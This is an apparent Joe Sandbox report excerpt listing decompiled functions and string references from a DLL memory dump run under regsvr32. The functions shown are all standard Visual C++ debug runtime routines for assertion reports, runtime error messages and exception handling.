f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D2F83E, 000007FEF9D2F965, 000007FEF9D2F9D8, 000007FEF9D2FA54, 000007FEF9D2FA9B, 000007FEF9D2FB08, 000007FEF9D2FB4E, 000007FEF9D2FC08, 000007FEF9D2FC7B, 000007FEF9D2FD38, 000007FEF9D2FD9F, 000007FEF9D30076
(*_errno()), xrefs: 000007FEF9D2F97D, 000007FEF9D2FC20
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 000007FEF9D2FA62
strcat_s(szLineMessage, 4096, "\r"), xrefs: 000007FEF9D2FB16
6o, xrefs: 000007FEF9D2FA85
Assertion failed: , xrefs: 000007FEF9D2FA09
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D2FD78
strcat_s(szLineMessage, 4096, "\n"), xrefs: 000007FEF9D2FB5C
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D2FAA9

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")$6o$Pl
API String ID: 242677333-579931786
Opcode ID: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction ID: 59d0ad1821d2987490fb14e41c4dc7dbbb96a2632b775096c591c8feb24f6032
Opcode Fuzzy Hash: 90fb5dc47a0cb7e52882a682e6518eda47d2e5e2933cc617357387334d7819cd
Instruction Fuzzy Hash: DF321A3190CA8695EBB0CB18EC543EE73A0F784345FA04125D6CD47AA9DB7EE549CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2B470 Relevance: 40.5, APIs: 7, Strings: 16, Instructions: 260COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000007FEF9D2B4E8
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B533
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2B5ED

Strings

Expression: , xrefs: 000007FEF9D2B6BE
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B9FC
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2B51C, 000007FEF9D2B5D6, 000007FEF9D2B967, 000007FEF9D2B9DA
wcscpy_s(szExeName, 260, L"<program name unknown>"), xrefs: 000007FEF9D2B52A
Module: , xrefs: 000007FEF9D2B84A
..., xrefs: 000007FEF9D2B81F
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2B5E4
(*_errno()), xrefs: 000007FEF9D2B97F
File: , xrefs: 000007FEF9D2B79B
<program name unknown>, xrefs: 000007FEF9D2B4F2
Line: , xrefs: 000007FEF9D2B744
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B921
__crtMessageWindowW, xrefs: 000007FEF9D2B523, 000007FEF9D2B5DD, 000007FEF9D2B973, 000007FEF9D2B9E1
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2B655
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B9B0
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B9E8

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$FileModuleName
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowW$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$wcscpy_s(szExeName, 260, L"<program name unknown>")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")
API String ID: 1949418964-1840610800
Opcode ID: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction ID: afa63f492d6c70519d8e627b7e85a2bc97528eb7c2a0a9c735d6d19596090ce3
Opcode Fuzzy Hash: 44b701395b3347ba89d33a25413c6d043cef3cadf6afd38b3a3e0c178ea01b00
Instruction Fuzzy Hash: 90F1D636609BC694E6B0DB54E8483AEB3E4F389780F604125DACD43BB9DB7ED194CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2AE40 Relevance: 38.7, APIs: 5, Strings: 17, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D2D490: _invalid_parameter.LIBCMTD ref: 000007FEF9D2D541

_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AE81
_invoke_watson_if_error.LIBCMTD ref: 000007FEF9D2AF35

Strings

_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D2B2F8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c, xrefs: 000007FEF9D2AE6A, 000007FEF9D2AF1E, 000007FEF9D2B2AF, 000007FEF9D2B322
__crtMessageWindowA, xrefs: 000007FEF9D2AE71, 000007FEF9D2AF25, 000007FEF9D2B2BB, 000007FEF9D2B329
File: , xrefs: 000007FEF9D2B0E3
..., xrefs: 000007FEF9D2B167
m*, xrefs: 000007FEF9D2AE9E
Microsoft Visual C++ Debug Library, xrefs: 000007FEF9D2B344
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D2B330
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 000007FEF9D2AF2C
(*_errno()), xrefs: 000007FEF9D2B2C7
Line: , xrefs: 000007FEF9D2B08C
<program name unknown>, xrefs: 000007FEF9D2AE40
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 000007FEF9D2AE78
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 000007FEF9D2AF9D
Expression: , xrefs: 000007FEF9D2B006
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 000007FEF9D2B269
Module: , xrefs: 000007FEF9D2B192

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$_invalid_parameter
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrpt.c$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$m*
API String ID: 2356156361-2279852085
Opcode ID: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction ID: 4b7917f2e6131773ed7248c088fbaee50c31bf3d43f4cd1ee6c8c65be3a18826
Opcode Fuzzy Hash: 2e784d19664e5a95b58b990f67b4737f05373876c1930d3c64995b1a0c69d3f2
Instruction Fuzzy Hash: BCC1E77190DBC681EBB48B15E8803EEA3E1F389384F614126E6CD42BB9DB7ED155CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2CB4F Relevance: 38.7, APIs: 8, Strings: 14, Instructions: 174fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 000007FEF9D2CBF0
WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
..., xrefs: 000007FEF9D2CE1A
2H, xrefs: 000007FEF9D2CDB9
<program name unknown>, xrefs: 000007FEF9D2CD68
0I, xrefs: 000007FEF9D2CD0B
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
_, xrefs: 000007FEF9D2CE71

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction ID: 0a9042e1a7d7c8a566278db251693fc707392c06de90b0eab8804e289765c981
Opcode Fuzzy Hash: b64be2a8eca497eb38ff52dc13b3436bc691d1b4503f9f72973df8eece0bc5fb
Instruction Fuzzy Hash: 4C910E31A1CA8685EBA0DB64E8543BE63E0F384784FA04126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

GetLastActivePopup, xrefs: 000007FEF9D3135E
USER32.DLL, xrefs: 000007FEF9D312E3
GetProcessWindowStation, xrefs: 000007FEF9D313B3
GetActiveWindow, xrefs: 000007FEF9D3133C
MessageBoxW, xrefs: 000007FEF9D31304
GetUserObjectInformationW, xrefs: 000007FEF9D31380

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction ID: 70a6d76ff3d3819b8955004bde04ce45998dc5e92ad36a3a08ed7dd3d00f33af
Opcode Fuzzy Hash: fee43fc66515416ac0980d72625433c0e8db806945977869f613c1f5f8def98f
Instruction Fuzzy Hash: F051A635A08A8286E7A09B19FC5476E73E4F784B51F609035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a180);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
